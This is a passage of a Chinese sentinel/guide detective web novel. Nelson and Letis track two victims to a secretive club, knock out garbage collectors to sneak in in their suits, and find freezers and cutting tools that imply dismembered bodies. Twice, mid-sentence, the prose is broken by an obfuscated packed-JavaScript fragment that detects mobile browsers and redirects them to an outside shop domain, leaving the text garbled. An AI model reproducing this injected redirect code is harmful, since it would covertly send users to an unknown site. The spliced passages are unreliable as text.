“比如刚刚那个玛利亚,我就混进去过。那家俱乐部不是私人会所,无论什么人都可以进去。生意主要来源是让女人去勾刚来圣卢赛特的游客。女人们告诉有钱的傻游客们,自己一直想去一家消费很贵的俱乐部,但苦于没资格加入。然后,想孔雀开屏的男人就会乖乖付钱讨她欢心。 “哎呀,也不知道那个男人会不会注意到,那个女人身上的香水味和玛利亚俱乐部里的一模一样——” 尼尔森声音一顿,突然感觉到一种尖锐的情绪撞上了自己的精神屏障,像是一只飞出的箭矢一样锐利。 和俱乐部里一样的味道…… 在尼尔森身边,莱蒂斯睁开了眼睛,墨绿色的瞳孔在灯光下跃动着奇异的光辉。她的呼吸变得缓慢,如同屏息凝神的猎手,她非但没有加强自己的精神屏障,反而解放了自己感官的灵敏度。 尼尔森能感觉到她正在忍受着各种气味,但她的目光正在街道上逡巡,显然是有自己的目标。 过了几秒,她掏出一小瓶薄荷味的喷雾,喷在自己的人中,然后猛地捂住口鼻,用力呼吸。尼尔森认得出那个是用来缓解哨兵和护卫受到的嗅觉刺激的药物,看来这里的味道确实让她很不舒服。 下一秒,捂着发酸的鼻子,眼角还有点发红的莱蒂斯瓮声瓮气地说:“我找到了。” “……?”尼尔森一愣,“找到什么了?” “瓦夫.埃蒙工作的私人会所……我闻到过那里的味道。”莱蒂斯的视线移向巷子左边,“瓦夫.埃蒙家里唯一干净的地方就是那个有淡香味的衣柜——那里也是他存放工作西装的地方。他不敢怠慢这份工作,所以保持了衣柜清洁。” “就像你说的那个女人一样。瓦夫.埃蒙的身上也有他工作的会所的味道。他的西装携带着这种气味,而他的衣柜又沾上了他西装的味道。” “到头来,那个衣柜,还有他的西装,都有和他工作的会所里相同的味道。我找到的,就是这种味道。” “而且,我想起来了。我之前在海克.雷德的家里,总觉得空气里有什么东西。那也是同样的味道,只是很淡很淡,我几乎分辨不出来。”莱蒂斯说着,她的情绪变得振奋,声音和眼神却越发的沉着: “尼尔森……瓦夫,埃蒙和海克.雷德,两个被害者在同一家会所工作!” 13. 第十二章 一个哨兵走进餐厅。 这里是圣卢赛特最高的建筑。高达九十五层的摩天大楼有足够多的空间,包含了办公空间,居住公寓,还有高级的餐厅和酒吧。 这家餐厅位于三十三层,甚至不到大楼的一半高,但透过巨大的落地玻璃,就已经足以将整个圣卢赛特尽收眼底。 餐厅采用了现代简约的风格,却仍然优雅。里面的灯光并不明亮,因为窗外繁华的城市夜景才是这里最好的装潢。街巷里沸腾的灯火顺着夜幕攀升,到了客人们的餐桌上,就变成了照亮菜肴的一簇银色烛火。 哨兵有些紧张,他打打杀杀了一生,来这样的地方杀人的次数多于来这里吃饭的次数。他理了理自己唯一一套西装的衣领,局促地跟着微笑的服务员,走到一个双人桌边。 精致的菜式一样接着一样地摆在桌上。哨兵切开过人的喉管,拿刀叉切开牛排时却像初次约会的小男生一样紧张了起来。 他清了清喉咙,小声问坐在对面的向导:“你喜欢这里吗?” 年轻的向导有一头落雪一样的白发,还有湖泊一样温和又恬静的蓝色眼睛。他撑着脸,看着窗外的城市,闻言转过头来,对哨兵微微一笑: “很喜欢……谢谢你带我来。没想到你预约的餐厅在这么高的位置,能看到这么远的地方。我以前就很喜欢眺望远方——有一种无论什么样的地方,我都能去到的感觉。” 那就好。哨兵想着,把牛排放进自己嘴里咀嚼:“吃的呢?” “也很喜欢。唉,我好久没吃到这种东西了呢。”向导说,“可是你在紧张,为什么呢?你的味觉不适应吗?” “不是。我……应该没什么,你不用在意。”哨兵说。他这辈子都孑然一身,连自己都搞不清楚自己的心脏为什么跳得这么快,又为什么会在向导的注视下脸红。 他赶紧闷了口香槟,气泡好像某种上升的悸动。哨兵有些笨拙地转移话题道:“这个,也好喝……你也试试。” 数公里外的老伯爵街上,尼尔森吹了个口哨。 “这些俱乐部的名字啊,真是一个比一个离谱。”他带着点玩味点评道。刚刚那个玛丽亚俱乐部意味不明地被冠以了圣母之名,眼前这个,又扯上了古希腊。 这家私人会所门可罗雀,装修却华丽。 它的门口装饰着古典的罗马柱,顶上是一盏工业革命时期留下来的旧煤气灯罩。透过一旁的窗户,能看见并不明亮的灯光笼罩着一个放满昂贵酒类的木质吧台,室内无处不透露着一种低调的优雅。 会所没有闪亮亮的大招牌,在木质的大门上方,有一串字母。 DIONYSIA。 其名取自古希腊为了赞美狂欢与酒之神狄奥尼索斯而举行的庆典——酒神节。 这里就是莱蒂斯找到的,和瓦夫.埃蒙的家中有相同味道的地方。 就在刚才,莱蒂斯搜索了这个私人会所的信息。可即使是互联网如此发达的今天,网上居然也找不到任何关于这个酒神节会所的照片或视频。 她只查到这个会所入会条件是会员邀请制,非常严苛,甚至需要会员集体审批。 “真是符合私人会所的刻板印象。不过连会员的炫耀都查不到,这就很少见了。”尼尔森笑笑,“严格的入会制度,完全缄默的信息,特地雇佣的哨兵……哎哟,这里面可真了不得。” 他建议别急着今晚就硬闯,先想想办法再行动,结果莱蒂斯直接把他硬拉过来了 “我可不觉得这行得通。要不还是再想别的办法……哎哎——”他还在进行最后的挣扎,莱蒂斯已经上手对着酒神节会所的实木门一阵猛砸了。 这哐哐哐的动静,和昨天早上罗德瑞克来抓自己时一模一样。不愧是共感者调查部的人,真是一脉相承啊……尼尔森无奈地想着,被莱蒂斯挽着手,用一个亲密的姿势拖到了门口。 穿着笔挺西装的安保人员打开门,只看见一个小丫头和一个穷酸的男人。 妈的,又是这种不知道自己几斤几两的穷逼。安保人员一阵烦躁。酒神节的会员们都有内部预约和通知系统,根本不可能亲自敲门。 “私人会所,恕不接受访客。”安保人员按照流程用体面的话拒绝,然后轻蔑地摆摆手,像赶狗一样说,“快滚吧。” “喂,你什么态度!”那个穿得像个不良一样的小姑娘生气地说。 她带着护卫的耳钉,对没有共感者标识的安保人员趾高气昂: “我们可是客人!要不是蹦迪累了想找个安静点的地方休息,你们这儿我连看都不会看上一眼!喂,大叔,你不是说你很有钱,能带我去所有我想去的俱乐部吗?我今天还非得到进这个俱乐部不可了!” 她摇起身边男人的手臂撒娇,男人却尴尬地哈哈了两声。安保人员见多了这种装作有钱却分文无有的家伙,直接嘲笑了出来:“他?他有个屁的钱。他连这儿的一杯白水都买不起!” 他也趁机打量了一下那个小姑娘,她虽然蠢,但身材很好,脸也漂亮,而且还很傻。她正怒气冲冲地看着自己,非说那个穷男就是富有,马上就会打自己的脸。 炫耀和色心作祟,安保人员不屑又猥琐地说:“你要靠他,不如靠我。我要是开心了,说不定还真能让你进这个会所呢。这里面可是有你一辈子都接触不到的好东西。” “你?你不就是个普通门卫吗?”蠢丫头不领情,抓着那个男人的手臂对安保人员翻白眼,又因为好奇探头探脑往里面看。 普通?一个护卫还真把自己当回事了。安保人员的火气和虚荣心都像火山喷发一样上涨。他一边不客气地把她挡在门前,一边嘲笑地说道: “门卫?呵,不识好歹。你真以为靠其他人能进这里?得了吧,你这种下等货,能傍上的都是穷逼!我们的客人,你这辈子连见都没机会见!” “这可不是一个半残的垃圾护卫能来的地方!” 一旁,尼尔森饶有兴趣地看着他们吵吵。 他想起来自己曾经看过一个视频:某个高中生像通了电一样四肢扭曲又蹦又跳地对霸凌对象说这里不欢迎你,之后还在地上来了段非常失败的街舞。 “至于你,你这个废物哑炮就更别提了。”俱乐部的保安骂完莱蒂斯,转头对他继续说,“滚蛋吧,这里不欢迎你们。” 尼尔斯没忍住乐了。莱蒂斯演到一半,转头疑惑地看了他一眼。 “好啦,听到没,这里不欢迎我们。”尼尔森用哄小孩的语气说,“但我保证,别的地方我都可以带你去,好不好。比起我,你总不能信一个保安吧?” 他尽职尽责地扮演了一个装逼被揭穿,只想赶紧走人的男人,好声好气地哄着自己好不容易骗到手的猎物。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356903|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他装作亲切地揽着莱蒂斯的肩膀,把人拉走了。 “你看,我就说不可能用这种办法混进去的。”一条街开外,尼尔森揉着自己的手臂。刚刚莱蒂斯演戏的时候情绪比较激动,没控制好力道,拽得他手疼。 “我不是想混进去。”恢复了常态的莱蒂斯面无表情地说,“我只是想试探一下酒神节的人。” 真好,尼尔森想,还是这样子适合她。 他说道:“确实不能说毫无收获。起码他确实穿着和瓦夫.埃蒙同款的西装。现在我们能确认,你找到的目标是正确的了。” 莱蒂斯却接道:“不止。我还可以确认,那个家伙是一个哨兵。” “哦,你也注意到了。”尼尔森挑起眉。那个安保没标志哨兵的耳钉,但说的话里却无处不透露着他的身份。 人再怎么伪装,也很难在情绪激动时改掉自己说话的习惯。管尼尔森这样的“普通人”叫哑炮,管莱蒂斯这样的护卫叫半残,除了哨兵可没别的人会这样干。 莱蒂斯是故意激怒他的。 她哼了一声:“他说起话来的样子和圣所里那群喜欢招惹我的哨兵一模一样。” “方便透露一下他们后来怎么样了吗?” “当然是跟我和解了。” “你没揍他们?” “当然揍了啊。”莱蒂斯奇怪地看着尼尔森,“所以他们跟我和解了。” 她似乎没注意到“和解”一词的含义与她的行为有些许不符,抬手摸了摸自己左耳上象征护卫的深灰色耳钉:“不过,哨兵都是高傲的家伙,他却会愿意在这酒神节会所做门卫,这才是我没想明白的地方。” “瓦夫.埃蒙……他是来这里,就是为了做门卫的吗?” “也不一定。说不定那个哨兵只是顺带负责守门。有很多有钱人喜欢哨兵,是因为他们体力好,也更擅长用敏锐的感官找到客人的喜好……”尼尔森语焉不详地带过了不适宜让莱蒂斯了解的内容,“雇佣哨兵却只让他们做保安也太夸张了。除非……” 尼尔森的声音戛然而止。 他想到了一种产业。 莱蒂斯问:除非什么?” 尼尔森摇摇头,含糊其辞:“没什么。一种推测而已。我暂时不说,以免影响你的思路。” “不过,我可以告诉你下一步该做什么。我可是私家侦探,在打探建筑方面多少还是有些经验的。我还欠你一个线索来将功补过,就让我告诉你接下来怎么入手——” “不需要。如果我真的遇到瓶颈,我会自己向你求助的。”莱蒂斯打断尼尔森,“现在,我有下一步的思路——我想去背后的小巷。” 在那些光鲜亮丽的会所,俱乐部,餐厅和酒吧的背后,往往都会有一个位于背街小巷的后门。在那里,是进货,移出垃圾,以及供员工出入的通道。 尼尔森一愣。他确实是想这么建议,却没想到莱蒂斯这样的乡下少女对这种事情会有所了解:“你从哪学的,电视剧?” “不。”莱蒂斯摇摇头,“休伯特大叔教我的。他说建筑一般都会在背街小巷里有另一个出入口。这在巷战中很实用。” 尼尔森乐了,军事确实也是那个年纪的男人常有的爱好,但他还是忍不住嘴贱的冲动: “你叔用什么巷战,播种机吗?嘶,我错了,别踢我啊!” 14. 第十三章 即使在背街的后巷,酒神节看起来也非常体面。 一扇简约的门开在干净的墙上,被一盏黄橙橙的小灯照亮。墙面虽然因为时过境迁而不再洁白,却多了种古旧的韵味。 尼尔森感叹道:“真不愧是私人会所啊,跟开了个结界似的。” 他的形容毫不夸张。这个巷子不仅是员工进出的后门,还是堆放垃圾的地方。 和酒神节并排而立的俱乐部可没心思在客人看不见的地方保持体面,垃圾箱都直接放在了后门门口。 这巷子本就又窄又暗,一半面积又贡献给了垃圾箱,环境之糟糕可想而知。莱蒂斯一直皱着眉,厌恶程度堪比遇见有人在随地吐痰,看都不想看一眼。 他们的目标酒神节是唯一干净的地方,但莱蒂斯却高兴不起来。 “这里……很难进去。”莱蒂斯上下打量,“没有消防梯,墙上也没有落脚点爬上二楼的窗户,就连左右两栋楼的窗檐都改造了。唔,你能去撬锁吗,尼尔森?” “虽然很高兴你这么信任我,”尼尔森笑起来,“但是先不论电子锁能不能用撬的,就我的经验来看,这门后面肯定有酒神节内部的摄像头。直接硬闯只能开出一个全副武装的哨兵,然后咱们就可以和世界说拜拜了。” 很多苍蝇围着垃圾桶嗡嗡打转。 莱蒂斯本来也没太指望他。她转变思路,开始思考先通过别的楼翻上房顶,再从房顶往下,翻进酒神节窗户的路线。 她的目光落在房顶上,下一秒,却突然转向了垃圾桶。 苍蝇发出噪音,巨大的垃圾箱里,黑色的塑料袋和夜色融为一体。 莱蒂斯说:“谁?” 她冲上前去,对着垃圾桶就是一脚,踹得金属振动的声音在小巷里来回荡漾。 过了几秒,两个人从垃圾箱里探出头来。他们戴着破洞的绒线帽,满身污垢,蜡黄的脸上有黑色的污渍,和垃圾自成一体。 其中一个人一脸不满,像被捅了窝的老鼠:“有病吧?踢你妈踢,招你惹你了?” 莱蒂斯被他理直气壮的样子惊呆了,她还以为这是什么埋伏呢。要不是他俩太脏,她早该上手把这两人都背摔出去了。 尼尔森感觉到了她身上的警惕和敌意,伸手把小姑娘拉回自己旁边。 “不用管他们。他们什么都不会做。”尼尔森解释道,“这种人在圣卢赛特很常见。没钱的流浪汉,又有药瘾或者酒瘾,所以喜欢翻酒吧或者俱乐部的垃圾里剩的东西解馋。他们脑子大多都坏了,除了找乐子之外的事情他们一概不在乎。” “我们一般喊他们蟑螂。脏归脏,烦归烦,但其实也不能把你怎么样。” 那个不满的“蟑螂”骂骂咧咧:“捡个垃圾都捡不安生,神经病!你们,喂,是不是看不起我们啊!” “不,不不,你看不出来吗?”另一个“蟑螂”压低声音对自己的同伴说话,他的手里抓着在垃圾堆里找到的小半截卷烟,“他们是新来的,他们想进酒神节!” 他抖开烟纸,直接把烟草倒进了嘴里: “他们也知道酒神节里有好东西!” “新来的……哦,新来的!”先前被激怒的“蟑螂”喃喃两声,垂着头摇头晃脑,好像回到了浑浑噩噩的梦境,“新来的蟑螂?那也不行啊。这里的东西都是我俩的,没你们的份。” 尼尔森习以为常地看着他们,莱蒂斯却觉得莫名其妙。 “什么蟑螂?”她皱着眉,“我的确是才到圣卢赛特的新人,但我不是——” “你是!”嚼着烟草的男人突然抬起手,指向莱蒂斯。他顿了一会儿,又移动手臂,指着尼尔森,“你也是。” 他激动起来,扶着垃圾箱的边站起身,对着巷口路人的身影一个个大喊:“他也是!她也是!你们,他们,都是蟑螂!和我们一样,什么都算不上。” 莱蒂斯困惑地看向尼尔森。 尼尔森摊摊手,往脸上挂了个耐心的微笑。 他问男人:“那谁不是呢?酒神节里面的人,他们富有又高贵,他们是吗?” “他们也是啊!在圣卢赛特,谁不是蟑螂啊?”男人咯咯地笑起来,“他们看着光鲜亮丽,但还不是躲在阴影里,做些见不得人的事情——这和我们有什么区别?这不还是蟑螂嘛!” 他看起来很兴奋,情感却是麻木的。尼尔森只感觉到了来自莱蒂斯的情感波动。 少女的身上没有恐惧或者嫌弃,只是又徘徊起微弱的悲哀。 所幸她明白尼尔森打探情报的思路,没有过于纠结流浪汉的状况。她学着尼尔森的样子,顺着“蟑螂”颠三倒四的话提问:“但你说酒神节里有好东西,如果大家都是蟑螂,那他们有什么是你们得不到的呢?” “不知道,嘿,嘿,真讨厌。”一直低头的男人抽动了两下脖子,“但他们连垃圾都藏得严实,肯定是有好东西。这些人啊,有钱又小气,就怕我们白捡到好东西。” “你是说,他们没有在公共区域存放垃圾,是因为怕被你们找到俱乐部用剩下的东西?” “他们付钱给收垃圾的公司——他们买了最高级的服务!”嚼烟草的男人锤了下垃圾箱上的logo,那是朗净私人垃圾处理公司的标志。 “那些讨厌的工人,他们会亲自进酒神节,亲自把垃圾运到垃圾车,而不是处理提前放在巷子里的垃圾!” 进入过酒神节的工人? 莱蒂斯眯起眼睛:“收垃圾的工人什么时候来?” “很快,很快就来了。”男人悠悠地说,“然后我俩就要被赶走啦……不过等一会儿,他们收完垃圾,我们就又可以回来啦。” “我有一个建议。”尼尔森笑眯眯地弯下腰,“你俩今晚要不别回来了。这是一百磅,够你们去买点好酒,或者好药,去俱乐部里舒舒服服过上一个晚上,然后把见过我们这事儿给忘掉。怎么样?” “一百磅,当然好。”男人看着尼尔森空荡荡的手,“但你哪里有一百磅?” 尼尔森笑容不变,用手肘戳了戳莱蒂斯。 莱蒂斯:“?” 莱蒂斯:“你……警局总共只给了我一百二十磅经费。” “这有什么,你先给着,回头找布列塔尼报销去不就行了。”尼尔森带着公报私仇的微笑道,“她只是被禁止参与调查,又没被禁止花钱。相信我,她会很乐意为调查做贡献的。” 朗净垃圾处理公司的工人把大卡车停在巷子口。 这种背街小巷车子进不去,只能由员工亲自去搬,这也是他副驾上还有一个高个子员工的原因——他一个人可搬不动这些大垃圾箱。 他最不喜欢的就是老伯爵街的这条巷子。不仅是因为这里垃圾多又蹲着“蟑螂”,还因为那个酒神节会所。 每次进去,他都不寒而栗,但为了工资和小命,他只能硬着头皮干活。 “走吧,兄弟,又到酒神节了。”他对副驾的同事说。他戴上防护服的帽子和眼镜,打开一侧车门,跳下了卡车。 他站在卡车的阴影下等了几秒,却没等到同事从另一侧走过来。 过来的是个陌生男人,他穿着件褐色风衣,镜框背后的眼睛在黑暗里有隐约的,金色的光。 他扶着一个人,被在背光的巷口涂抹成模糊剪影。 朗净垃圾处理公司的员工穿着厚重的防护服,视野受限,只觉得那个人得有点眼熟。 等他反应过来那是他同事的时候,一个小姑娘已经突然出现在他面前。 狼一样的墨绿色眼睛在他眼前一闪而过,一记准确的直拳打在他下巴,直接让他倒在地上,陷入了婴儿般的睡眠。 “真疼啊。”尼尔森用夸张的语气同情地说。 他把扶着的男人扔在巷口,和这个员工并排摆放。 两个人都是莱蒂斯干掉的。她出手之快,不仅这两个朗净公司的员工,连尼尔森都差点没反应过来。他曾经太倚仗自己的向导能力,坑蒙拐骗却疏于锻炼,现在没了能力,唯一的特长就是跑路了。 他说:“等他们醒了,我们问清楚酒神节让他们运的垃圾都是什么,然后就撤吧。” 这不是因为尼尔森想跑路摸鱼,好吧,他是有一点想,但更重要的是,贸然行动确实危险。 硬闯一个有哨兵们驻守的场所说不定会赔上性命,这毫不夸张。他的确有不少潜入的经验,但那都是经过了调查,制定好了计划,再加上一大堆随机应变和运气因素才成功的。 “什么都不准备就直接溜进酒神节这种地方,完全就是自投罗网。等回去之后,你可以问问布列塔尼,认不认识什么能帮得上忙的人。” 尼尔森蹲下去,扯下员工防护服的头套。为了防止被垃圾箱里滋生的细菌感染,公司给他们的装备倒是齐全,从头到脚都严严实实,连眼睛部分都戴着隔离镜。 莱蒂斯不说话。她站得直直的,看着这两个裹在防护服里的员工。 “嗯,我本来是这样想的。因为还想审问,所以也没下重手。但是……”莱蒂斯歪了歪头,伸手比划了一下那两个人的身形。 她表情依然没什么变化,眼睛却亮了起来:“你觉不觉得,他们的防护服,我们正好能穿进去?” “……”尼尔森沉默了,他站起来,拉开距离。一个高个子的年轻男人和一个矮瘦的中年男人这墙根东倒西歪地躺着。 妈的。他嘴角抽了抽,还真是。 尼尔森一直清楚,他的首要任务可不是查案,而是保证莱蒂斯的安全。 他可不想为一个案子玩命,但又有点想搞清楚之前莱蒂斯和他之间疑似的精神共鸣是怎么回事,所以最好莱蒂斯也别再为这破事儿玩命了。 最好的做法当然还是劝她放弃,但这小姑娘太倔,靠他一张嘴劝肯定没用。尼尔森愿意主动带她来老伯爵街,也是想着:事情越是深入,莱蒂斯越能意识到它本就超出她的能力范围。不如让她自己试试,多碰壁几次,就自然会放弃了。 就在刚刚,酒神节的墙壁还竖立在他们面前。无论从哪个角度看,他们今晚都是没机会潜入的。等他们回去讨论之后,莱蒂斯就会意识到,线索已经断在酒神节,就不会再做无用的努力了。 现在,事情有点出乎尼尔森意料了。 那两件防护服刚好够他和莱蒂斯假装成是收垃圾的,完全可以大摇大摆混进酒神节。 潜入这种事,有时候确实很靠运气。 哎呀,尼尔森想,可现在这到底算是他俩运气好还是运气坏呢…… 莱蒂斯只是一个护卫,她可感受不到尼尔森复杂的情绪。 “对不起。” 她真诚地说,然后又给了两个可怜的男人一人一手刀,直接把他们本来僵直的身体劈瘫软了。 她扒下两人的防护服,思考了一下,熟练又暴力地撕开了两人的T桖,用两条布条分别绑住了他们的手,又用两个布团堵住了他们的嘴。 尼尔森:“……我说真的,你以前不会真的在哪个帮派当过打手吧?” “什么打手?”莱蒂斯戳了戳布团,确保它们不会掉出来,“以前圣所里的哨兵喜欢霸凌护卫,会把护卫带到储藏室里去欺负。后来我把他们像这样扔在储藏室里睡一晚上,他们就再也没做过了。” 尼尔森棒读:“这样,你可真是个贴心的好人。” “嗯。”莱蒂斯自豪地点点头,“我当时怕他们睡不好,还给他们盖了毯子。来帮忙,尼尔森,把这两个人放回驾驶室里。” “何必呢?卡车已经把巷口堵死了,把他们扔在这里也没人会发现的。” “他们可能会着凉。”亲手把人打晕了又扒光了捆起来的小姑娘真情实感地说,“把人晾在这里终归不太好,我担心他们会感冒。” “这个问题不大,他们要是再也醒不过来,就不需要担心感冒了。” “能醒的,只要掐这里就可以了。”莱蒂斯没听出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356904|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尼尔森的调侃,认真地伸手在垃圾处理工的脖子上比划了一下,然后站起身,顺手把高个男人的防护服递给了尼尔森。 “……”尼尔森盯着那件衣服。 也许莱蒂斯并没有意识到,她从刚刚就已经默认要和尼尔森一起行动了。他可还记得她说过,她很讨厌自己这种人,所以根本不想求助于自己呢。 但现在,尼尔森能感觉到类似信任的情感传递而来。是因为他提供了线索,还是因为他硬让她补了一下午的觉? 小孩的信任给得可真是轻易。她凭什么觉得他愿意和她一起呢? 尽管那只手拿着防护服的手,昨晚也放在他的手心。 尼尔森为数不多的一个优点,是有自知之明。 他清楚自己并不是会被善行打动的人。善良和愚蠢是相辅相成的存在,他对这个护卫小姑娘的看法也是如此一体两面。 他最多只会奉行互惠互利。莱蒂斯带给他的好处也许足够换来一个关键情报,但显然还不足以让他陪她以身涉险。 尼尔森完全可以随便编个借口转身走人,他擅长这个。 “……” 那么,究竟是什么将他钉在了原地? 他甚至已经张开了嘴,却无法发出声音。他那善于编织谎言的大脑在产生这个念头的瞬间,就忽然被卷入了混乱的漩涡。 一旦想到莱蒂斯一个人行动的后果,一种怪异且冰冷的感觉就瞬间爬上他的脊柱。 恐惧。 那是与噩梦截然不同的绝望,它像是无限延长的死亡的一瞬,让他整个人都坍缩成一颗停跳都心脏。他感到如坠冰窟,呼吸和血流都在同一刻停滞。曾经折磨他的是服刑的苦痛,而这一刹那,他感到的是身处六尺之下,眼睁睁看着光与声与人间悉数抛下他的孤独。 人的本性兼具脆弱和贪婪,一旦见过光明,黑暗就会变得无法忍受。尼尔森突然意识到,此刻令自己畏惧的不是绝望,而是会有什么剥夺走曾经出现在他梦境中的原野与星光。 糟了。 昨天那奇怪的精神共鸣果然对他造成了影响。 这现象其实很常见。契合度高的哨兵向导天生一对,在触发精神共鸣后,会本能地依赖和保护对方。这几乎是一种生物本能的强制绑定。 但尼尔森还是一个健全向导的时候,就从来不是被本能牵着走的类型。他很强,从来没有哨兵有本事和他精神共鸣,莱蒂斯一个护卫究竟是怎么影响到他的? 直觉和理智都告诉侦探,这件事不能放任不管。 啊啊,可不管是怎么回事,摊上这种一根筋的小姑娘都是麻烦事啊。尼尔森抓了下头发,装作无事发生。他接过了防护服,无奈地叹口气: “你知道我们一旦进了酒神节,就是真的在玩命了吧?” “我知道。所以我也想过,让你这么弱的家伙和我一起行动是不是一个正确的选择。但我没有潜入的经验,想完成任务,还是需要你的帮助。”莱蒂斯的眼睛闪着坚定的光,她郑重其事对尼尔森说,“但没关系,我会保护你的。” “……你还想得挺周到。”尼尔森复杂的思绪瞬间烟消云散,额角青筋跳了一下,“我可真是谢谢你啊。” 有一件事,尼尔森是说对了的。 他们真的在酒神节的后门里开出来了一个全副武装的哨兵。 他身材高大,穿着高级的西服,左耳上的标识耳钉不见踪影,但任谁都能一眼看出他的身份。 他显然对垃圾处理的事情不怎么上心,看见门外站的是两个穿着防护服的朗净公司员工,直接就转过了身,自顾自地向前走。 只随便地丢下一句:“进来。” 尼尔森削弱了精神屏障,监控起男人的情感辐射。他能感觉到,他们并没有遭到怀疑。 他却和莱蒂斯不约而同地皱起了眉。 在男人的右臂上,是一套半自动机械臂。 这玩意上面搭载的武器系统有两种模式,能够实现冲锋枪和激光冲击的功能。 不需要扳机。只要他一个念头,那上面的枪口便会迸射出子弹和火花,把人打成筛子。 好,这下尼尔森就明白了。他们能借防护服混进来果然不是运气好,而是运气背到家了。 这男人装备的,是哨兵专有的武器。 热武器的出现削减了人与人武力差距,但哨兵仍然凭借超常的五感,拥有着显著的单兵作战优势。 因为在枪与枪之间的对决里,决胜的是最先命中的那颗子弹。哨兵的五感能够让他们比普通人更快定位目标的要害。 在攻击移动对象时,哨兵们依然能轻易百发百中,这是普通人无论如何都难以达到的境界。 而上世纪末,在发现了共感者的能力和精神动物都是基于特殊的脑电波后,科学家们意识到如果以这种特定的脑波为枪械的触发来源,哨兵们的开枪速度也会大幅度提升。 到了今天,这种类义肢的半自动武器在军事上的应用已经发展成熟。它能够直接根据哨兵的神经信号作出反应,在哨兵锁定目标的瞬间自动开枪,直接把敌人打得脑子开花。 这种武器常见于现代战场,受军方严格控制,所以几乎不会在日常生活中出现。 酒神节会所给员工装备上的这种半自动机械臂,就尼尔森所知,其实是已经被淘汰了的旧款。而且估计能持有的哨兵数量也有限。 但能搞到这种货,就足够说明酒神节背后的人地位显赫。 然而有这种半自动机械臂并不是全部问题。 为什么会有,才是最关键的问题。 尼尔森和莱蒂斯跟着男人,走进酒神节华丽的走廊。 实木制的墙,低调的暖色调顶光,连接墙与天花板的金色雕花,还有红丝绒的地毯,一切都像一个老贵族精心保养的家。 所以他们要从这里带走的,到底是什么样的垃圾,才值得一个装备着半自动装甲的哨兵亲自监视? 15. 第十四章 呼,吸。呼,吸。 莱蒂斯在厚重的防护服里观察着酒神节,空气里有很淡的清香。 刚进入这里时,走廊中规中矩,古典的装潢里有现代化的设备。鱼眼摄像头像一只泛红的眼球挂在天花板上,隐蔽的换气口,与室内统一了色调的灭火器,无声的中央空调将温度维持在非常舒适的范围。 四周的墙上没有房间。男性哨兵将他们领到一扇门前,但那是一个电梯。 呼,吸。呼,吸。 电梯的按钮标志着,在地面的建筑之下,酒神节还有三层空间。一个私人会所应该是这样的吗?莱蒂斯不知道。 她将嗅觉解放。随着电梯下行,她闻到了酒与香水与汗的味道,音乐声从电梯外传来。 在另一层,她闻到了烟与奢侈精油的味道。鼎沸的人声和碰撞的筹码声,即使是普通人也能听见。 尼尔森和她一样,一动不动地站着。 电梯停在最下层。他们跟随那个哨兵走了出去。 呼……吸……,呼……吸…… 这一层看起来一点也不像一个会所。它的墙面被刷成一种温柔的淡蓝色,不刺眼,也不寡淡。地上有一层厚重但干净的毛毯,莱蒂斯的厚底马丁靴踩上去,几乎没有一点声音。 莱蒂斯觉得这里有些眼熟。 空气之中,那种淡香味的清新剂的存在感更加明显。 它让莱蒂斯敏感的嗅觉感到平静,即使没有高强度的精神屏障,她也不会被日常生活中无处不在的恼人气味困扰。 于是她想起来了。这里有点像圣所里专门用于帮助哨兵们调整状态,避免刺激他们感官的静音室。 但维克镇的圣所并不富裕,静音室只是米白色的房间。和它比起来,酒神节像是一个铺满羽毛的天堂。 地下的空间远远大于地上,他们转过迷宫复杂的走廊。走廊两侧有不少房间,但奇怪的是,这里的房门,每两个都相隔得很近,似乎意味着这层全都是由两个相邻的房间组成的套间。 鱼眼摄像头生长在每一个转角。他们没有遇上任何人。 最终,他们停留在一个单独的门前。 哨兵上前去,把门推开。 尼尔森跟着走了进去,莱蒂斯却站在了原地。 呼吸。呼吸。呼吸。 莱蒂斯还小的时候,曾经坐着休伯特大叔的车,和他一起去卖掉他们养的牛。 工作人员带走牛去质检,休伯特大叔去监督,小莱蒂斯在工厂里乱晃。 路过其中一个厂区时,年幼的莱蒂斯闻到一种特殊的味道。它很冷,像是凝结的冰,但那种冰冷中似乎还裹挟着什么别的。 它是那样微弱,仿佛很快就会从这个世界上消散。即使如此,它依然让她感到不详。 “今天只有一个要扔。”男性哨兵说,甚至懒得回头。为了不被发现异常,莱蒂斯机械地迈动脚步,走进了昏暗的房间。 水雾出现在她的护目镜上。房间很大,她隐约看见了七八个并排而放的冰柜。它们和超市里的没什么区别,但整齐地摆在一起时,却莫名的诡异。 当年,在莱蒂斯想去看看那个厂区里到底是什么的时候,休伯特大叔找到了她。他们的牛得到了最优质的评价,他想教她怎么和工厂的人讲价。 “切了,然后用冰箱推出去,别打扰到客人。”哨兵用例行公事的语气说。这对他来说就是个帮清洁工开门的小插曲,而他又是那么看不起两个运垃圾的普通人,以至于他从来没把注意力放在这两个人身上过。 呼吸,要呼吸。 莱蒂斯感觉到头晕目眩,防护服隐藏了她脸上的惊惧。她拼命抑制自己的反应,自己加快的心跳,自己紧绷到开始发抖的身体。哨兵感官非常灵敏,如果她的反应太大,对方可能会起疑。 她想拉高精神屏障,她想屏住呼吸,她想把一切美化成一个错觉。但最终,她呼吸着房间的空气,没有逃避。 她环顾房间,另一侧有一个金属台,旁边挂着各种各样的切割工具。 